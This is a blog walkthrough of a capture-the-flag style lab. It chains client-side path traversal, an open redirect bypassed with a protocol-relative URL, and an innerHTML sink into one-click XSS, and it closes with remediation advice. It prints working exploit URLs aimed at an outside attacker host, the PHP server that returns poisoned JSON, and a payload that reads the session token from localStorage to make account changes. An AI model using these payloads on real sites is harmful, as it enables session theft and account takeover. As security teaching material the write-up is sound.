July 1, 2026
How Three Low-Severity Bugs Chained Into One-Click XSS
A walkthrough of the DOOM box. Three “small” bugs that mean almost nothing on their own, but when composed together give you a one-click…

By Iliya Dindar
5 min read
A walkthrough of the DOOM box. Three "small" bugs that mean almost nothing on their own, but when composed together give you a one-click XSS that runs on the victim's origin with their session in localStorage.
TL;DR
- The blog page reads the post slug from the URL and fetches it as
GET /api/v1/blogs/${m}— Client-Side Path Traversal (CSPT) lets us break out of that path. GET /api/v1/redirect?redirect_to=…blindly follows arbitrary external URLs — Open Redirect.- The render function injects the response into the DOM via
innerHTML, notinnerText.
Chain → CSPT pivots the fetcher to the redirect endpoint, the redirect endpoint sends it to my server, my server returns JSON with a malicious blog.Content, and the page happily renders it as HTML on the target origin.
CSPT → Open Redirect → XSSCSPT → Open Redirect → XSSFinal payload:
https://<target>/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.phphttps://<target>/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.phpRecon — Where does the blog content come from?
The blog page is fully client-rendered. Opening DevTools and pulling up the bundled JS, the interesting block is the loader for a single post:
try {
const m = decodeURI(i),
C = await (await fetch(`/api/v1/blogs/${m}`)).json();
C.status === "success"
? o(C.data.blog)
: N(C.data || "Failed to load blog post")
} catch {
N("Network error. Please try again.")
} finally {
d(!1)
}try {
const m = decodeURI(i),
C = await (await fetch(`/api/v1/blogs/${m}`)).json();
C.status === "success"
? o(C.data.blog)
: N(C.data || "Failed to load blog post")
} catch {
N("Network error. Please try again.")
} finally {
d(!1)
}Two things to note straight away:
icomes from the URL path.m = decodeURI(i)— anddecodeURIdoes not decode%2f. That'll matter in a minute.- The blog object is handed to a render function
o(...). Whetherowrites toinnerHTMLorinnerTextdecides whether this is exploitable.
A breakpoint on the line confirms the path. Visiting /blogs/1mamad gives m = "1mamad" and the fetch goes to /api/v1/blogs/1mamad. The slug is reflected straight into the URL with no filtering.
CSPT — escaping /api/v1/blogs/
Because the slug is concatenated into a path without normalization on the client, ..%2f segments are passed through to fetch and the browser resolves them as path traversal before sending the request.
/blogs/1%2f..%2f..%2fmamad
│ │ │
│ │ └── escape /v1/
│ └── escape /blogs/
└── still inside /api/v1/blogs//blogs/1%2f..%2f..%2fmamad
│ │ │
│ │ └── escape /v1/
│ └── escape /blogs/
└── still inside /api/v1/blogs/So a request that looks like it's loading blog 1/..%2f..%2fmamad actually fires off GET /api/v1/mamad. CSPT confirmed — I can repoint the loader at any other endpoint under /api/.
On its own, that's a gadget looking for a sink.
The signup flow leaks a second gadget
After registering an account, I noticed a redirect helper in the signup → blogs handoff:
GET /api/v1/redirect?redirect_to=/blogs HTTP/2
Host: target.com
Referer: https://target.com/signup
...GET /api/v1/redirect?redirect_to=/blogs HTTP/2
Host: target.com
Referer: https://target.com/signup
...First instinct: try an absolute URL — but throwing a full https://... at it gets rejected. There's a server-side check on redirect_to that looks at the prefix and bounces anything starting with http:// or https://. That filter is doing a literal scheme-prefix string match, not a real URL parse, which is the textbook way for this kind of check to fail.
A protocol-relative URL sidesteps the check entirely — //www.google.com doesn't start with http or https, but the browser still treats it as absolute and inherits the current page's scheme:
/api/v1/redirect?redirect_to=//www.google.com/api/v1/redirect?redirect_to=//www.google.comServer responds with a 30x to https://www.google.com. Open Redirect — second gadget unlocked.
Open Redirect → arbitrary domainOpen Redirect → arbitrary domainFinding the sink — o() is innerHTML
Back to the loader. Whether this chain ends in XSS or in "well, that was a fun puzzle" hinges on what o(C.data.blog) does with .Content.
Rather than reading every minified function, I let the page tell me. Breakpoint on the call to o(), then in the debugger's scope panel I overwrote C.data.blog.Content live:
C.data.blog.Content = "<img src=x onerror=alert(origin)>"C.data.blog.Content = "<img src=x onerror=alert(origin)>"Resume execution → alert fires showing the target's origin. The sink is innerHTML. That's the third piece.
Lesson worth repeating: don't trace minified bundles by hand if you don't have to. Break on the render call, mutate the object, resume. The DOM tells you which sink you hit.
Chaining
The three primitives:
First, there is the CSPT in fetch('/api/v1/blogs/${m}'). Because the slug is placed directly into the fetch path, I can redirect the client-side request to another API path.
Second, there is the open redirect at /api/v1/redirect?redirect_to=…. Once the fetch reaches that endpoint, the redirect forces the request off-origin to an attacker-controlled server.
Third, there is the innerHTML sink inside o(C.data.blog). Whatever I return inside Content is treated as HTML, so attacker-controlled content becomes executable markup in the target page's DOM.
The chain writes itself:
- Victim visits
/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php. - The client computes
fetch("/api/v1/blogs/1/../../redirect?redirect_to=//thezoro.com/lab/doom.php")→ resolves tofetch("/api/v1/redirect?redirect_to=//thezoro.com/lab/doom.php"). - Server replies 30x → browser follows to
[https://thezoro.com/lab/doom.php](https://thezoro.com/lab/doom.php.). - My server returns JSON with
status: "success"and a poisoneddata.blog.Content. o()callsinnerHTMLwith it on the target's origin. Script executes with full DOM access and access tolocalStorage(where the token lives).
The request the loader actually fires after redirection:
GET /api/v1/redirect?redirect_to=//thezoro.com/lab/doom.php HTTP/2
Host: victim.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php
Accept: */*
...GET /api/v1/redirect?redirect_to=//thezoro.com/lab/doom.php HTTP/2
Host: victim.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/blogs/1%2f..%2f..%2fredirect%3fredirect_to=%2f%2fthezoro.com%2flab%2fdoom.php
Accept: */*
...The hosted JSON — doom.php
Minimal PoC that proves arbitrary script execution on the target origin:
<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$response = [
"status" => "success",
"data" => [
"blog" => [
"ID" => 1,
"Title" => "Top 10 Web Application Security Threats You Must Know in 2025",
"Content" => "<img src='x' onerror='alert(origin)'>",
"CreatedAt" => "2026-05-22T13:52:32Z",
"AuthorName" => "Kael Donovan"
]
]
];
echo json_encode($response);<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$response = [
"status" => "success",
"data" => [
"blog" => [
"ID" => 1,
"Title" => "Top 10 Web Application Security Threats You Must Know in 2025",
"Content" => "<img src='x' onerror='alert(origin)'>",
"CreatedAt" => "2026-05-22T13:52:32Z",
"AuthorName" => "Kael Donovan"
]
]
];
echo json_encode($response);alert(origin) shows the target's origin, not thezoro.com — confirming the script runs in the vulnerable site's context because the DOM that wrote it lives there.
Escalation — riding the session
Since the payload runs on-origin and the auth token is stored client-side in localStorage under doom_token, account actions are one fetch away. Swapping the Content for an account-takeover primitive — overwriting the victim's bio (any authenticated PUT works the same way):
<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$response = [
"status" => "success",
"data" => [
"blog" => [
"ID" => 1,
"Title" => "Top 10 Web Application Security Threats You Must Know in 2025",
"Content" => "
<img src='x' onerror='alert(origin)'>
<img src=y onerror='
fetch(`https://target.com/api/v1/users/update`, {
method: `PUT`,
headers: {
[`Authorization`]: `Bearer ${localStorage.getItem(`doom_token`)}`,
[`Content-Type`]: `application/json`
},
body: JSON.stringify({ bio: `HACKED` })
}).then(r=>r.json()).then(d=>console.log(d))
'>
",
"CreatedAt" => "2026-05-22T13:52:32Z",
"AuthorName" => "Kael Donovan"
]
]
];
echo json_encode($response);<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$response = [
"status" => "success",
"data" => [
"blog" => [
"ID" => 1,
"Title" => "Top 10 Web Application Security Threats You Must Know in 2025",
"Content" => "
<img src='x' onerror='alert(origin)'>
<img src=y onerror='
fetch(`https://target.com/api/v1/users/update`, {
method: `PUT`,
headers: {
[`Authorization`]: `Bearer ${localStorage.getItem(`doom_token`)}`,
[`Content-Type`]: `application/json`
},
body: JSON.stringify({ bio: `HACKED` })
}).then(r=>r.json()).then(d=>console.log(d))
'>
",
"CreatedAt" => "2026-05-22T13:52:32Z",
"AuthorName" => "Kael Donovan"
]
]
];
echo json_encode($response);Two <img onerror> payloads stacked: first to prove execution, second to read the token from localStorage and PUT it to the user-update endpoint. From here it's trivial to extend to email/password changes, session exfil, or whatever the API surface allows.
Why each layer failed
- CSPT. Slugs that go into URL paths should be normalized (or, better, validated against a strict pattern) before being concatenated into
fetch.decodeURInot touching%2fis the silent enabler. - Open Redirect. The
redirect_tofilter does a literalhttp:///https://prefix string match instead of parsing the URL, so a protocol-relative//hostwalks straight past it. The fix is to parse the value as a URL and either match the host against an allow-list or reject anything that resolves to an external origin (and reject anything starting with / followed by another / or ). innerHTMLsink. Blog content from the API is trusted unconditionally and dropped intoinnerHTML. Either render it throughinnerText, or sanitize server-side with a library that strips event handlers (DOMPurify on the client is the bare minimum).
Any one of those fixes breaks the chain. None of them are present.
Wrap
The fun of this box is that none of the three bugs is severe by itself. CSPT with nowhere to pivot to is a quirk. An open redirect to an arbitrary domain on its own is medium at best. innerHTML is only a problem if you can poison what flows into it. Compose them and you get cross-origin script execution against any logged-in user with one click.
CSPT (client path traversal)
└─→ Open Redirect (server-side, no host validation)
└─→ Attacker-controlled JSON
└─→ innerHTML sink
└─→ XSS on target origin → token theftCSPT (client path traversal)
└─→ Open Redirect (server-side, no host validation)
└─→ Attacker-controlled JSON
└─→ innerHTML sink
└─→ XSS on target origin → token theft— Iliya Dindar · iliyadindar.site